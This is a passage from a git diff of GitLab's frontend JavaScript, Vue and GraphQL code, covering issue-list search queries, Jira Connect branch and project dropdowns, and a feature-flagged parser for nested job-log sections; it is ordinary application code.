+query searchIterations($projectPath: ID!, $search: String, $id: ID) {
+ project(fullPath: $projectPath) {
+ iterations(title: $search, id: $id) {
+ nodes {
+ id
+ title
+ }
+ }
+ }
+}
diff --git a/app/assets/javascripts/issues_list/queries/search_labels.query.graphql b/app/assets/javascripts/issues_list/queries/search_labels.query.graphql
new file mode 100644
index 00000000000..de884e1221c
--- /dev/null
+++ b/app/assets/javascripts/issues_list/queries/search_labels.query.graphql
@@ -0,0 +1,12 @@
+query searchLabels($projectPath: ID!, $search: String) {
+ project(fullPath: $projectPath) {
+ labels(searchTerm: $search, includeAncestorGroups: true) {
+ nodes {
+ id
+ color
+ textColor
+ title
+ }
+ }
+ }
+}
diff --git a/app/assets/javascripts/issues_list/queries/search_milestones.query.graphql b/app/assets/javascripts/issues_list/queries/search_milestones.query.graphql
new file mode 100644
index 00000000000..91f74fd220b
--- /dev/null
+++ b/app/assets/javascripts/issues_list/queries/search_milestones.query.graphql
@@ -0,0 +1,10 @@
+query searchMilestones($projectPath: ID!, $search: String) {
+ project(fullPath: $projectPath) {
+ milestones(searchTitle: $search, includeAncestors: true) {
+ nodes {
+ id
+ title
+ }
+ }
+ }
+}
diff --git a/app/assets/javascripts/issues_list/queries/search_users.query.graphql b/app/assets/javascripts/issues_list/queries/search_users.query.graphql
new file mode 100644
index 00000000000..953157cfe3a
--- /dev/null
+++ b/app/assets/javascripts/issues_list/queries/search_users.query.graphql
@@ -0,0 +1,14 @@
+query searchUsers($projectPath: ID!, $search: String) {
+ project(fullPath: $projectPath) {
+ projectMembers(search: $search) {
+ nodes {
+ user {
+ id
+ avatarUrl
+ name
+ username
+ }
+ }
+ }
+ }
+}
diff --git a/app/assets/javascripts/issues_list/utils.js b/app/assets/javascripts/issues_list/utils.js
index b5ec44198da..49f937cc453 100644
--- a/app/assets/javascripts/issues_list/utils.js
+++ b/app/assets/javascripts/issues_list/utils.js
@@ -1,4 +1,5 @@
import {
+ API_PARAM,
BLOCKING_ISSUES_DESC,
CREATED_ASC,
CREATED_DESC,
@@ -6,29 +7,36 @@ import {
DUE_DATE_DESC,
DUE_DATE_VALUES,
filters,
+ LABEL_PRIORITY_ASC,
LABEL_PRIORITY_DESC,
MILESTONE_DUE_ASC,
MILESTONE_DUE_DESC,
NORMAL_FILTER,
POPULARITY_ASC,
POPULARITY_DESC,
+ PRIORITY_ASC,
PRIORITY_DESC,
- RELATIVE_POSITION_DESC,
+ RELATIVE_POSITION_ASC,
SPECIAL_FILTER,
SPECIAL_FILTER_VALUES,
TOKEN_TYPE_ASSIGNEE,
+ TOKEN_TYPE_ITERATION,
UPDATED_ASC,
UPDATED_DESC,
+ URL_PARAM,
urlSortParams,
WEIGHT_ASC,
WEIGHT_DESC,
} from '~/issues_list/constants';
import { isPositiveInteger } from '~/lib/utils/number_utils';
import { __ } from '~/locale';
-import { FILTERED_SEARCH_TERM } from '~/vue_shared/components/filtered_search_bar/constants';
+import {
+ FILTERED_SEARCH_TERM,
+ OPERATOR_IS_NOT,
+} from '~/vue_shared/components/filtered_search_bar/constants';
export const getSortKey = (sort) =>
- Object.keys(urlSortParams).find((key) => urlSortParams[key].sort === sort);
+ Object.keys(urlSortParams).find((key) => urlSortParams[key] === sort);
export const getDueDateValue = (value) => (DUE_DATE_VALUES.includes(value) ? value : undefined);
@@ -38,7 +46,7 @@ export const getSortOptions = (hasIssueWeightsFeature, hasBlockedIssuesFeature)
id: 1,
title: __('Priority'),
sortDirection: {
- ascending: PRIORITY_DESC,
+ ascending: PRIORITY_ASC,
descending: PRIORITY_DESC,
},
},
@@ -86,7 +94,7 @@ export const getSortOptions = (hasIssueWeightsFeature, hasBlockedIssuesFeature)
id: 7,
title: __('Label priority'),
sortDirection: {
- ascending: LABEL_PRIORITY_DESC,
+ ascending: LABEL_PRIORITY_ASC,
descending: LABEL_PRIORITY_DESC,
},
},
@@ -94,8 +102,8 @@ export const getSortOptions = (hasIssueWeightsFeature, hasBlockedIssuesFeature)
id: 8,
title: __('Manual'),
sortDirection: {
- ascending: RELATIVE_POSITION_DESC,
- descending: RELATIVE_POSITION_DESC,
+ ascending: RELATIVE_POSITION_ASC,
+ descending: RELATIVE_POSITION_ASC,
},
},
];
@@ -128,7 +136,7 @@ export const getSortOptions = (hasIssueWeightsFeature, hasBlockedIssuesFeature)
const tokenTypes = Object.keys(filters);
const getUrlParams = (tokenType) =>
- Object.values(filters[tokenType].urlParam).flatMap((filterObj) => Object.values(filterObj));
+ Object.values(filters[tokenType][URL_PARAM]).flatMap((filterObj) => Object.values(filterObj));
const urlParamKeys = tokenTypes.flatMap(getUrlParams);
@@ -136,7 +144,7 @@ const getTokenTypeFromUrlParamKey = (urlParamKey) =>
tokenTypes.find((tokenType) => getUrlParams(tokenType).includes(urlParamKey));
const getOperatorFromUrlParamKey = (tokenType, urlParamKey) =>
- Object.entries(filters[tokenType].urlParam).find(([, filterObj]) =>
+ Object.entries(filters[tokenType][URL_PARAM]).find(([, filterObj]) =>
Object.values(filterObj).includes(urlParamKey),
)[0];
@@ -178,12 +186,36 @@ const getFilterType = (data, tokenType = '') =>
? SPECIAL_FILTER
: NORMAL_FILTER;
-export const convertToParams = (filterTokens, paramType) =>
+const isIterationSpecialValue = (tokenType, value) =>
+ tokenType === TOKEN_TYPE_ITERATION && SPECIAL_FILTER_VALUES.includes(value);
+
+export const convertToApiParams = (filterTokens) => {
+ const params = {};
+ const not = {};
+
+ filterTokens
+ .filter((token) => token.type !== FILTERED_SEARCH_TERM)
+ .forEach((token) => {
+ const filterType = getFilterType(token.value.data, token.type);
+ const field = filters[token.type][API_PARAM][filterType];
+ const obj = token.value.operator === OPERATOR_IS_NOT ? not : params;
+ const data = isIterationSpecialValue(token.type, token.value.data)
+ ? token.value.data.toUpperCase()
+ : token.value.data;
+ Object.assign(obj, {
+ [field]: obj[field] ? [obj[field], data].flat() : data,
+ });
+ });
+
+ return Object.keys(not).length ? Object.assign(params, { not }) : params;
+};
+
+export const convertToUrlParams = (filterTokens) =>
filterTokens
.filter((token) => token.type !== FILTERED_SEARCH_TERM)
.reduce((acc, token) => {
const filterType = getFilterType(token.value.data, token.type);
- const param = filters[token.type][paramType][token.value.operator]?.[filterType];
+ const param = filters[token.type][URL_PARAM][token.value.operator]?.[filterType];
return Object.assign(acc, {
[param]: acc[param] ? [acc[param], token.value.data].flat() : token.value.data,
});
diff --git a/app/assets/javascripts/jira_connect/branches/components/project_dropdown.vue b/app/assets/javascripts/jira_connect/branches/components/project_dropdown.vue
new file mode 100644
index 00000000000..c1f57be7f97
--- /dev/null
+++ b/app/assets/javascripts/jira_connect/branches/components/project_dropdown.vue
@@ -0,0 +1,95 @@
+<script>
+import { GlDropdown, GlDropdownItem, GlSearchBoxByType, GlLoadingIcon } from '@gitlab/ui';
+import { __ } from '~/locale';
+import { PROJECTS_PER_PAGE } from '../constants';
+import getProjectsQuery from '../graphql/queries/get_projects.query.graphql';
+
+export default {
+ PROJECTS_PER_PAGE,
+ projectQueryPageInfo: {
+ endCursor: '',
+ },
+ components: {
+ GlDropdown,
+ GlDropdownItem,
+ GlSearchBoxByType,
+ GlLoadingIcon,
+ },
+ props: {
+ selectedProject: {
+ type: Object,
+ required: false,
+ default: null,
+ },
+ },
+ data() {
+ return {
+ initialProjectsLoading: true,
+ projectSearchQuery: '',
+ };
+ },
+ apollo: {
+ projects: {
+ query: getProjectsQuery,
+ variables() {
+ return {
+ search: this.projectSearchQuery,
+ first: this.$options.PROJECTS_PER_PAGE,
+ after: this.$options.projectQueryPageInfo.endCursor,
+ searchNamespaces: true,
+ sort: 'similarity',
+ };
+ },
+ update(data) {
+ return data?.projects?.nodes.filter((project) => !project.repository.empty) ?? [];
+ },
+ result() {
+ this.initialProjectsLoading = false;
+ },
+ error() {
+ this.onError({ message: __('Failed to load projects') });
+ },
+ },
+ },
+ computed: {
+ projectsLoading() {
+ return Boolean(this.$apollo.queries.projects.loading);
+ },
+ projectDropdownText() {
+ return this.selectedProject?.nameWithNamespace || __('Select a project');
+ },
+ },
+ methods: {
+ async onProjectSelect(project) {
+ this.$emit('change', project);
+ },
+ onError({ message } = {}) {
+ this.$emit('error', { message });
+ },
+ isProjectSelected(project) {
+ return project.id === this.selectedProject?.id;
+ },
+ },
+};
+</script>
+
+<template>
+ <gl-dropdown :text="projectDropdownText" :loading="initialProjectsLoading">
+ <template #header>
+ <gl-search-box-by-type v-model.trim="projectSearchQuery" :debounce="250" />
+ </template>
+
+ <gl-loading-icon v-show="projectsLoading" />
+ <template v-if="!projectsLoading">
+ <gl-dropdown-item
+ v-for="project in projects"
+ :key="project.id"
+ is-check-item
+ :is-checked="isProjectSelected(project)"
+ @click="onProjectSelect(project)"
+ >
+ {{ project.nameWithNamespace }}
+ </gl-dropdown-item>
+ </template>
+ </gl-dropdown>
+</template>
diff --git a/app/assets/javascripts/jira_connect/branches/components/source_branch_dropdown.vue b/app/assets/javascripts/jira_connect/branches/components/source_branch_dropdown.vue
new file mode 100644
index 00000000000..0e2d8821f36
--- /dev/null
+++ b/app/assets/javascripts/jira_connect/branches/components/source_branch_dropdown.vue
@@ -0,0 +1,134 @@
+<script>
+import { GlDropdown, GlDropdownItem, GlSearchBoxByType, GlLoadingIcon } from '@gitlab/ui';
+import { __ } from '~/locale';
+import { BRANCHES_PER_PAGE } from '../constants';
+import getProjectQuery from '../graphql/queries/get_project.query.graphql';
+
+export default {
+ BRANCHES_PER_PAGE,
+ components: {
+ GlDropdown,
+ GlDropdownItem,
+ GlSearchBoxByType,
+ GlLoadingIcon,
+ },
+ props: {
+ selectedProject: {
+ type: Object,
+ required: false,
+ default: null,
+ },
+ selectedBranchName: {
+ type: String,
+ required: false,
+ default: null,
+ },
+ },
+ data() {
+ return {
+ sourceBranchSearchQuery: '',
+ initialSourceBranchNamesLoading: false,
+ sourceBranchNamesLoading: false,
+ sourceBranchNames: [],
+ };
+ },
+ computed: {
+ hasSelectedProject() {
+ return Boolean(this.selectedProject);
+ },
+ hasSelectedSourceBranch() {
+ return Boolean(this.selectedBranchName);
+ },
+ branchDropdownText() {
+ return this.selectedBranchName || __('Select a branch');
+ },
+ },
+ watch: {
+ selectedProject: {
+ immediate: true,
+ async handler(selectedProject) {
+ if (!selectedProject) return;
+
+ this.initialSourceBranchNamesLoading = true;
+ await this.fetchSourceBranchNames({ projectPath: selectedProject.fullPath });
+ this.initialSourceBranchNamesLoading = false;
+ },
+ },
+ },
+ methods: {
+ onSourceBranchSelect(branchName) {
+ this.$emit('change', branchName);
+ },
+ onSourceBranchSearchQuery(branchSearchQuery) {
+ this.branchSearchQuery = branchSearchQuery;
+ this.fetchSourceBranchNames({
+ projectPath: this.selectedProject.fullPath,
+ searchPattern: this.branchSearchQuery,
+ });
+ },
+ onError({ message } = {}) {
+ this.$emit('error', { message });
+ },
+ async fetchSourceBranchNames({ projectPath, searchPattern } = {}) {
+ this.sourceBranchNamesLoading = true;
+ try {
+ const { data } = await this.$apollo.query({
+ query: getProjectQuery,
+ variables: {
+ projectPath,
+ branchNamesLimit: this.$options.BRANCHES_PER_PAGE,
+ branchNamesOffset: 0,
+ branchNamesSearchPattern: searchPattern ? `*${searchPattern}*` : '*',
+ },
+ });
+
+ const { branchNames, rootRef } = data?.project.repository || {};
+ this.sourceBranchNames = branchNames || [];
+
+ // Use root ref as the default selection
+ if (rootRef && !this.hasSelectedSourceBranch) {
+ this.onSourceBranchSelect(rootRef);
+ }
+ } catch (err) {
+ this.onError({
+ message: __('Something went wrong while fetching source branches.'),
+ });
+ } finally {
+ this.sourceBranchNamesLoading = false;
+ }
+ },
+ },
+};
+</script>
+
+<template>
+ <gl-dropdown
+ :text="branchDropdownText"
+ :loading="initialSourceBranchNamesLoading"
+ :disabled="!hasSelectedProject"
+ :class="{ 'gl-font-monospace': hasSelectedSourceBranch }"
+ >
+ <template #header>
+ <gl-search-box-by-type
+ :debounce="250"
+ :value="sourceBranchSearchQuery"
+ @input="onSourceBranchSearchQuery"
+ />
+ </template>
+
+ <gl-loading-icon v-show="sourceBranchNamesLoading" />
+ <template v-if="!sourceBranchNamesLoading">
+ <gl-dropdown-item
+ v-for="branchName in sourceBranchNames"
+ v-show="!sourceBranchNamesLoading"
+ :key="branchName"
+ :is-checked="branchName === selectedBranchName"
+ is-check-item
+ class="gl-font-monospace"
+ @click="onSourceBranchSelect(branchName)"
+ >
+ {{ branchName }}
+ </gl-dropdown-item>
+ </template>
+ </gl-dropdown>
+</template>
diff --git a/app/assets/javascripts/jira_connect/branches/constants.js b/app/assets/javascripts/jira_connect/branches/constants.js
new file mode 100644
index 00000000000..987c8d356b4
--- /dev/null
+++ b/app/assets/javascripts/jira_connect/branches/constants.js
@@ -0,0 +1,2 @@
+export const BRANCHES_PER_PAGE = 20;
+export const PROJECTS_PER_PAGE = 20;
diff --git a/app/assets/javascripts/jira_connect/branches/graphql/queries/get_project.query.graphql b/app/assets/javascripts/jira_connect/branches/graphql/queries/get_project.query.graphql
new file mode 100644
index 00000000000..f3428e816d7
--- /dev/null
+++ b/app/assets/javascripts/jira_connect/branches/graphql/queries/get_project.query.graphql
@@ -0,0 +1,17 @@
+query getProject(
+ $projectPath: ID!
+ $branchNamesLimit: Int!
+ $branchNamesOffset: Int!
+ $branchNamesSearchPattern: String!
+) {
+ project(fullPath: $projectPath) {
+ repository {
+ branchNames(
+ limit: $branchNamesLimit
+ offset: $branchNamesOffset
+ searchPattern: $branchNamesSearchPattern
+ )
+ rootRef
+ }
+ }
+}
diff --git a/app/assets/javascripts/jira_connect/branches/graphql/queries/get_projects.query.graphql b/app/assets/javascripts/jira_connect/branches/graphql/queries/get_projects.query.graphql
new file mode 100644
index 00000000000..e768154e210
--- /dev/null
+++ b/app/assets/javascripts/jira_connect/branches/graphql/queries/get_projects.query.graphql
@@ -0,0 +1,34 @@
+#import "~/graphql_shared/fragments/pageInfo.fragment.graphql"
+
+query getProjects(
+ $search: String!
+ $after: String = ""
+ $first: Int!
+ $searchNamespaces: Boolean = false
+ $sort: String
+ $membership: Boolean = true
+) {
+ projects(
+ search: $search
+ after: $after
+ first: $first
+ membership: $membership
+ searchNamespaces: $searchNamespaces
+ sort: $sort
+ ) {
+ nodes {
+ id
+ name
+ nameWithNamespace
+ fullPath
+ avatarUrl
+ path
+ repository {
+ empty
+ }
+ }
+ pageInfo {
+ ...PageInfo
+ }
+ }
+}
diff --git a/app/assets/javascripts/jira_connect/components/groups_list.vue b/app/assets/javascripts/jira_connect/components/groups_list.vue
index d764f778a9d..55233bb6326 100644
--- a/app/assets/javascripts/jira_connect/components/groups_list.vue
+++ b/app/assets/javascripts/jira_connect/components/groups_list.vue
@@ -89,6 +89,7 @@ export default {
debounce="500"
:placeholder="__('Search by name')"
:is-loading="isLoadingMore"
+ :value="searchTerm"
@input="onGroupSearch"
/>
diff --git a/app/assets/javascripts/jira_import/components/jira_import_form.vue b/app/assets/javascripts/jira_import/components/jira_import_form.vue
index e7816f6d187..1b6e365fdb2 100644
--- a/app/assets/javascripts/jira_import/components/jira_import_form.vue
+++ b/app/assets/javascripts/jira_import/components/jira_import_form.vue
@@ -310,7 +310,7 @@ export default {
>
<gl-search-box-by-type v-model.trim="searchTerm" />
- <gl-loading-icon v-if="isFetching" />
+ <gl-loading-icon v-if="isFetching" size="sm" />
<gl-dropdown-item
v-for="user in users"
@@ -328,7 +328,7 @@ export default {
</template>
</gl-table>
- <gl-loading-icon v-if="isInitialLoadingState" />
+ <gl-loading-icon v-if="isInitialLoadingState" size="sm" />
<gl-button
v-if="hasMoreUsers"
diff --git a/app/assets/javascripts/jobs/components/empty_state.vue b/app/assets/javascripts/jobs/components/empty_state.vue
index 35b16d73cc7..e31c13f40b0 100644
--- a/app/assets/javascripts/jobs/components/empty_state.vue
+++ b/app/assets/javascripts/jobs/components/empty_state.vue
@@ -35,11 +35,6 @@ export default {
required: false,
default: false,
},
- variablesSettingsUrl: {
- type: String,
- required: false,
- default: null,
- },
action: {
type: Object,
required: false,
@@ -75,11 +70,7 @@ export default {
<p v-if="content" data-testid="job-empty-state-content">{{ content }}</p>
</div>
- <manual-variables-form
- v-if="shouldRenderManualVariables"
- :action="action"
- :variables-settings-url="variablesSettingsUrl"
- />
+ <manual-variables-form v-if="shouldRenderManualVariables" :action="action" />
<div class="text-content">
<div v-if="action && !shouldRenderManualVariables" class="text-center">
<gl-link
diff --git a/app/assets/javascripts/jobs/components/job_app.vue b/app/assets/javascripts/jobs/components/job_app.vue
index be95001a396..fa9ee56c049 100644
--- a/app/assets/javascripts/jobs/components/job_app.vue
+++ b/app/assets/javascripts/jobs/components/job_app.vue
@@ -50,11 +50,6 @@ export default {
required: false,
default: null,
},
- variablesSettingsUrl: {
- type: String,
- required: false,
- default: null,
- },
deploymentHelpUrl: {
type: String,
required: false,
@@ -315,7 +310,6 @@ export default {
:action="emptyStateAction"
:playable="job.playable"
:scheduled="job.scheduled"
- :variables-settings-url="variablesSettingsUrl"
/>
<!-- EO empty state -->
diff --git a/app/assets/javascripts/jobs/components/log/collapsible_section.vue b/app/assets/javascripts/jobs/components/log/collapsible_section.vue
index 55cdfb691f4..c0d5fac0e8d 100644
--- a/app/assets/javascripts/jobs/components/log/collapsible_section.vue
+++ b/app/assets/javascripts/jobs/components/log/collapsible_section.vue
@@ -1,4 +1,6 @@
<script>
+import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
+import { INFINITELY_NESTED_COLLAPSIBLE_SECTIONS_FF } from '../../constants';
import LogLine from './line.vue';
import LogLineHeader from './line_header.vue';
@@ -7,7 +9,9 @@ export default {
components: {
LogLine,
LogLineHeader,
+ CollapsibleLogSection: () => import('./collapsible_section.vue'),
},
+ mixins: [glFeatureFlagsMixin()],
props: {
section: {
type: Object,
@@ -22,6 +26,9 @@ export default {
badgeDuration() {
return this.section.line && this.section.line.section_duration;
},
+ infinitelyCollapsibleSectionsFlag() {
+ return this.glFeatures?.[INFINITELY_NESTED_COLLAPSIBLE_SECTIONS_FF];
+ },
},
methods: {
handleOnClickCollapsibleLine(section) {
@@ -40,12 +47,26 @@ export default {
@toggleLine="handleOnClickCollapsibleLine(section)"
/>
<template v-if="!section.isClosed">
- <log-line
- v-for="line in section.lines"
- :key="line.offset"
- :line="line"
- :path="traceEndpoint"
- />
+ <template v-if="infinitelyCollapsibleSectionsFlag">
+ <template v-for="line in section.lines">
+ <collapsible-log-section
+ v-if="line.isHeader"
+ :key="line.line.offset"
+ :section="line"
+ :trace-endpoint="traceEndpoint"
+ @onClickCollapsibleLine="handleOnClickCollapsibleLine"
+ />
+ <log-line v-else :key="line.offset" :line="line" :path="traceEndpoint" />
+ </template>
+ </template>
+ <template v-else>
+ <log-line
+ v-for="line in section.lines"
+ :key="line.offset"
+ :line="line"
+ :path="traceEndpoint"
+ />
+ </template>
</template>
</div>
</template>
diff --git a/app/assets/javascripts/jobs/components/log/line_number.vue b/app/assets/javascripts/jobs/components/log/line_number.vue
index 7ca9154d2fe..c8ceac2c7ff 100644
--- a/app/assets/javascripts/jobs/components/log/line_number.vue
+++ b/app/assets/javascripts/jobs/components/log/line_number.vue
@@ -1,4 +1,6 @@
<script>
+import { INFINITELY_NESTED_COLLAPSIBLE_SECTIONS_FF } from '../../constants';
+
export default {
functional: true,
props: {
@@ -14,7 +16,9 @@ export default {
render(h, { props }) {
const { lineNumber, path } = props;
- const parsedLineNumber = lineNumber + 1;
+ const parsedLineNumber = gon.features?.[INFINITELY_NESTED_COLLAPSIBLE_SECTIONS_FF]
+ ? lineNumber
+ : lineNumber + 1;
const lineId = `L${parsedLineNumber}`;
const lineHref = `${path}#${lineId}`;
diff --git a/app/assets/javascripts/jobs/components/manual_variables_form.vue b/app/assets/javascripts/jobs/components/manual_variables_form.vue
index d45012d2023..269551ff9aa 100644
--- a/app/assets/javascripts/jobs/components/manual_variables_form.vue
+++ b/app/assets/javascripts/jobs/components/manual_variables_form.vue
@@ -1,14 +1,16 @@
<script>
-/* eslint-disable vue/no-v-html */
-import { GlButton } from '@gitlab/ui';
+import { GlButton, GlLink, GlSprintf } from '@gitlab/ui';
import { uniqueId } from 'lodash';
import { mapActions } from 'vuex';
-import { s__, sprintf } from '~/locale';
+import { helpPagePath } from '~/helpers/help_page_helper';
+import { s__ } from '~/locale';
export default {
name: 'ManualVariablesForm',
components: {
GlButton,
+ GlLink,
+ GlSprintf,
},
props: {
action: {
@@ -24,11 +26,6 @@ export default {
);
},
},
- variablesSettingsUrl: {
- type: String,
- required: true,
- default: '',
- },
},
inputTypes: {
key: 'key',
@@ -37,6 +34,9 @@ export default {
i18n: {
keyPlaceholder: s__('CiVariables|Input variable key'),
valuePlaceholder: s__('CiVariables|Input variable value'),
+ formHelpText: s__(
+ 'CiVariables|Specify variable values to be used in this run. The values specified in %{linkStart}CI/CD settings%{linkEnd} will be used as default',
+ ),
},
data() {
return {
@@ -47,17 +47,8 @@ export default {
};
},
computed: {
- helpText() {
- return sprintf(
- s__(
- 'CiVariables|Specify variable values to be used in this run. The values specified in %{linkStart}CI/CD settings%{linkEnd} will be used as default',
- ),
- {
- linkStart: `<a href="${this.variablesSettingsUrl}">`,
- linkEnd: '</a>',
- },
- false,
- );
+ variableSettings() {
+ return helpPagePath('ci/variables/index', { anchor: 'add-a-cicd-variable-to-a-project' });
},
},
watch: {
@@ -188,8 +179,14 @@ export default {
</div>
</div>
</div>
- <div class="d-flex gl-mt-3 justify-content-center">
- <p class="text-muted" data-testid="form-help-text" v-html="helpText"></p>
+ <div class="gl-text-center gl-mt-3">
+ <gl-sprintf :message="$options.i18n.formHelpText">
+ <template #link="{ content }">
+ <gl-link :href="variableSettings" target="_blank">
+ {{ content }}
+ </gl-link>
+ </template>
+ </gl-sprintf>
</div>
<div class="d-flex justify-content-center">
<gl-button
diff --git a/app/assets/javascripts/jobs/components/sidebar_job_details_container.vue b/app/assets/javascripts/jobs/components/sidebar_job_details_container.vue
index 98badb96ed7..a6eff743ce9 100644
--- a/app/assets/javascripts/jobs/components/sidebar_job_details_container.vue
+++ b/app/assets/javascripts/jobs/components/sidebar_job_details_container.vue
@@ -46,7 +46,7 @@ export default {
return timeIntervalInWords(this.job.queued);
},
runnerHelpUrl() {
- return helpPagePath('ci/runners/README.html', {
+ return helpPagePath('ci/runners/index.html', {
anchor: 'set-maximum-job-timeout-for-a-runner',
});
},
diff --git a/app/assets/javascripts/jobs/constants.js b/app/assets/javascripts/jobs/constants.js
index 3040d4e2379..97f31eee57c 100644
--- a/app/assets/javascripts/jobs/constants.js
+++ b/app/assets/javascripts/jobs/constants.js
@@ -24,3 +24,5 @@ export const JOB_RETRY_FORWARD_DEPLOYMENT_MODAL = {
};
export const SUCCESS_STATUS = 'SUCCESS';
+
+export const INFINITELY_NESTED_COLLAPSIBLE_SECTIONS_FF = 'infinitelyCollapsibleSections';
diff --git a/app/assets/javascripts/jobs/index.js b/app/assets/javascripts/jobs/index.js
index 260190f5043..1fb6a6f9850 100644
--- a/app/assets/javascripts/jobs/index.js
+++ b/app/assets/javascripts/jobs/index.js
@@ -15,7 +15,6 @@ export default () => {
deploymentHelpUrl,
codeQualityHelpUrl,
runnerSettingsUrl,
- variablesSettingsUrl,
subscriptionsMoreMinutesUrl,
endpoint,
pagePath,
@@ -41,7 +40,6 @@ export default () => {
deploymentHelpUrl,
codeQualityHelpUrl,
runnerSettingsUrl,
- variablesSettingsUrl,
subscriptionsMoreMinutesUrl,
endpoint,
pagePath,
diff --git a/app/assets/javascripts/jobs/store/actions.js b/app/assets/javascripts/jobs/store/actions.js
index c89aeada69d..a8be5d8d039 100644
--- a/app/assets/javascripts/jobs/store/actions.js
+++ b/app/assets/javascripts/jobs/store/actions.js
@@ -1,5 +1,5 @@
import Visibility from 'visibilityjs';
-import { deprecatedCreateFlash as flash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { setFaviconOverlay, resetFavicon } from '~/lib/utils/favicon';
import httpStatusCodes from '~/lib/utils/http_status';
@@ -99,7 +99,9 @@ export const receiveJobSuccess = ({ commit }, data = {}) => {
};
export const receiveJobError = ({ commit }) => {
commit(types.RECEIVE_JOB_ERROR);
- flash(__('An error occurred while fetching the job.'));
+ createFlash({
+ message: __('An error occurred while fetching the job.'),
+ });
resetFavicon();
};
@@ -197,11 +199,15 @@ export const stopPollingTrace = ({ state, commit }) => {
export const receiveTraceSuccess = ({ commit }, log) => commit(types.RECEIVE_TRACE_SUCCESS, log);
export const receiveTraceError = ({ dispatch }) => {
dispatch('stopPollingTrace');
- flash(__('An error occurred while fetching the job log.'));
+ createFlash({
+ message: __('An error occurred while fetching the job log.'),
+ });
};
export const receiveTraceUnauthorizedError = ({ dispatch }) => {
dispatch('stopPollingTrace');
- flash(__('The current user is not authorized to access the job log.'));
+ createFlash({
+ message: __('The current user is not authorized to access the job log.'),
+ });
};
/**
* When the user clicks a collapsible line in the job
@@ -240,7 +246,9 @@ export const receiveJobsForStageSuccess = ({ commit }, data) =>
commit(types.RECEIVE_JOBS_FOR_STAGE_SUCCESS, data);
export const receiveJobsForStageError = ({ commit }) => {
commit(types.RECEIVE_JOBS_FOR_STAGE_ERROR);
- flash(__('An error occurred while fetching the jobs.'));
+ createFlash({
+ message: __('An error occurred while fetching the jobs.'),
+ });
};
export const triggerManualJob = ({ state }, variables) => {
@@ -254,5 +262,9 @@ export const triggerManualJob = ({ state }, variables) => {
.post(state.job.status.action.path, {
job_variables_attributes: parsedVariables,
})
- .catch(() => flash(__('An error occurred while triggering the job.')));
+ .catch(() =>
+ createFlash({
+ message: __('An error occurred while triggering the job.'),
+ }),
+ );
};
diff --git a/app/assets/javascripts/jobs/store/mutations.js b/app/assets/javascripts/jobs/store/mutations.js
index 924b811d0d6..4045d8a0c16 100644
--- a/app/assets/javascripts/jobs/store/mutations.js
+++ b/app/assets/javascripts/jobs/store/mutations.js
@@ -1,6 +1,7 @@
import Vue from 'vue';
+import { INFINITELY_NESTED_COLLAPSIBLE_SECTIONS_FF } from '../constants';
import * as types from './mutation_types';
-import { logLinesParser, updateIncrementalTrace } from './utils';
+import { logLinesParser, logLinesParserLegacy, updateIncrementalTrace } from './utils';
export default {
[types.SET_JOB_ENDPOINT](state, endpoint) {
@@ -20,12 +21,26 @@ export default {
},
[types.RECEIVE_TRACE_SUCCESS](state, log = {}) {
+ const infinitelyCollapsibleSectionsFlag =
+ gon.features?.[INFINITELY_NESTED_COLLAPSIBLE_SECTIONS_FF];
if (log.state) {
state.traceState = log.state;
}
if (log.append) {
- state.trace = log.lines ? updateIncrementalTrace(log.lines, state.trace) : state.trace;
+ if (infinitelyCollapsibleSectionsFlag) {
+ if (log.lines) {
+ const parsedResult = logLinesParser(
+ log.lines,
+ state.auxiliaryPartialTraceHelpers,
+ state.trace,
+ );
+ state.trace = parsedResult.parsedLines;
+ state.auxiliaryPartialTraceHelpers = parsedResult.auxiliaryPartialTraceHelpers;
+ }
+ } else {
+ state.trace = log.lines ? updateIncrementalTrace(log.lines, state.trace) : state.trace;
+ }
state.traceSize += log.size;
} else {
@@ -33,7 +48,14 @@ export default {
// the trace response will not have a defined
// html or size. We keep the old value otherwise these
// will be set to `null`
- state.trace = log.lines ? logLinesParser(log.lines) : state.trace;
+
+ if (infinitelyCollapsibleSectionsFlag) {
+ const parsedResult = logLinesParser(log.lines);
+ state.trace = parsedResult.parsedLines;
+ state.auxiliaryPartialTraceHelpers = parsedResult.auxiliaryPartialTraceHelpers;
+ } else {
+ state.trace = log.lines ? logLinesParserLegacy(log.lines) : state.trace;
+ }
state.traceSize = log.size || state.traceSize;
}
diff --git a/app/assets/javascripts/jobs/store/state.js b/app/assets/javascripts/jobs/store/state.js
index 2fe945b2985..718324c8bad 100644
--- a/app/assets/javascripts/jobs/store/state.js
+++ b/app/assets/javascripts/jobs/store/state.js
@@ -30,4 +30,7 @@ export default () => ({
selectedStage: '',
stages: [],
jobs: [],
+
+ // to parse partial logs
+ auxiliaryPartialTraceHelpers: {},
});
diff --git a/app/assets/javascripts/jobs/store/utils.js b/app/assets/javascripts/jobs/store/utils.js
index a0e0a0fb8bd..36391a4d433 100644
--- a/app/assets/javascripts/jobs/store/utils.js
+++ b/app/assets/javascripts/jobs/store/utils.js
@@ -104,7 +104,7 @@ export const getIncrementalLineNumber = (acc) => {
* @param Array accumulator
* @returns Array parsed log lines
*/
-export const logLinesParser = (lines = [], accumulator = []) =>
+export const logLinesParserLegacy = (lines = [], accumulator = []) =>
lines.reduce(
(acc, line, index) => {
const lineNumber = accumulator.length > 0 ? getIncrementalLineNumber(acc) : index;
@@ -131,6 +131,77 @@ export const logLinesParser = (lines = [], accumulator = []) =>
[...accumulator],
);
+export const logLinesParser = (lines = [], previousTraceState = {}, prevParsedLines = []) => {
+ let currentLine = previousTraceState?.prevLineCount ?? 0;
+ let currentHeader = previousTraceState?.currentHeader;
+ let isPreviousLineHeader = previousTraceState?.isPreviousLineHeader ?? false;
+ const parsedLines = prevParsedLines.length > 0 ? prevParsedLines : [];
+ const sectionsQueue = previousTraceState?.sectionsQueue ?? [];
+
+ for (let i = 0; i < lines.length; i += 1) {
+ const line = lines[i];
+ // First run we can use the current index, later runs we have to retrieve the last number of lines
+ currentLine = previousTraceState?.prevLineCount ? currentLine + 1 : i + 1;
+
+ if (line.section_header && !isPreviousLineHeader) {
+ // If there's no previous line header that means we're at the root of the log
+
+ isPreviousLineHeader = true;
+ parsedLines.push(parseHeaderLine(line, currentLine));
+ currentHeader = { index: parsedLines.length - 1 };
+ } else if (line.section_header && isPreviousLineHeader) {
+ // If there's a current section, we can't push to the parsedLines array
+ sectionsQueue.push(currentHeader);
+ currentHeader = parseHeaderLine(line, currentLine); // Let's parse the incoming header line
